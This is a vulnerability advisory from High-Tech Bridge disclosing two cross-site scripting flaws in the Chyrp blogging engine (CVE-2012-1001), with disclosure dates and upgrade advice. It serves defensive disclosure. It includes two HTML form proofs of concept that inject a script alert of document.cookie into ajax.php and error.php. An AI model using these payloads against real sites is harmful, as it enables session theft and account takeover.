Multiple XSS in Chyrp

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Advisory ID:	HTB23073
Product:	Chyrp
Vendor:	Chyrp
Vulnerable Versions:	2.5b1 and probably prior
Tested Version:	2.5b1
Advisory Publication:	February 1, 2012 [without technical details]
Vendor Notification:	February 1, 2012
Vendor Fix:	February 2, 2012
Public Disclosure:	February 22, 2012
Latest Update:	February 24, 2012
Vulnerability Type:	Cross-Site Scripting [CWE-79]
CVE Reference:	CVE-2012-1001
Risk Level:	Medium

CVSSv2 Base Score:	4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Chyrp, which can be exploited to perform Cross Site Scripting attacks. 1) Cross Site Scripting (XSS) in Chyrp: CVE-2012-1001 1.1 Input passed via the "content" POST parameter to /includes/ajax.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC (Proof of Concept) demonstrates the vulnerability: <form action="http://[host]/includes/ajax.php" method="post"> <input type="hidden" name="action" value="preview" /> <input type="hidden" name="feather" value="" /> <input type="hidden" name="field" value="" /> <input type="hidden" name="content" value='<script>alert(document.cookie);</script>' /> <input type="submit" id="btn"> </form> 1.2 Input passed via the "body" POST parameter to /includes/error.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC (Proof of Concept) demonstrates the vulnerability: <form action="http://[host]/includes/error.php" method="post"> <input type="hidden" name="ajax" value="1" /> <input type="hidden" name="body" value='<script>alert(document.cookie);</script>' /> <input type="submit" id="btn"> </form> Successful exploitation of this vulnerability (1.2) requires that "register_globals" is enabled.
How to Detect Cross-Site Scripting Vulnerabilities Website Security Test GDPR & PCI DSS Test Website CMS Security Test CSP & HTTP Headers Check WordPress & Drupal Scanning Try For Free Solution:
Vulnerability 1.1 is fixed by Vendor. Awaiting Vendor's solution for the 1.2. Upgrade to Chyrp 2.1.2 or Chyrp 2.5 Beta 2 More information: http://chyrp.net/2012/02/02/heres-whats-been-going-on-recently/

References:
[1] High-Tech Bridge Advisory HTB23073 - https://www.immuniweb.com/advisory/HTB23073 - Multiple XSS in Chyrp. [2] Chyrp - http://chyrp.net - Chyrp is a blogging engine designed to be very lightweight while retaining functionality. It is powered by PHP and has very powerful theme and extension engines. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Previous Security Advisories with CWE-79:

HTB23072: Multiple vulnerabilities in LEPTON

HTB23070: Multiple vulnerabilities in ZENphoto

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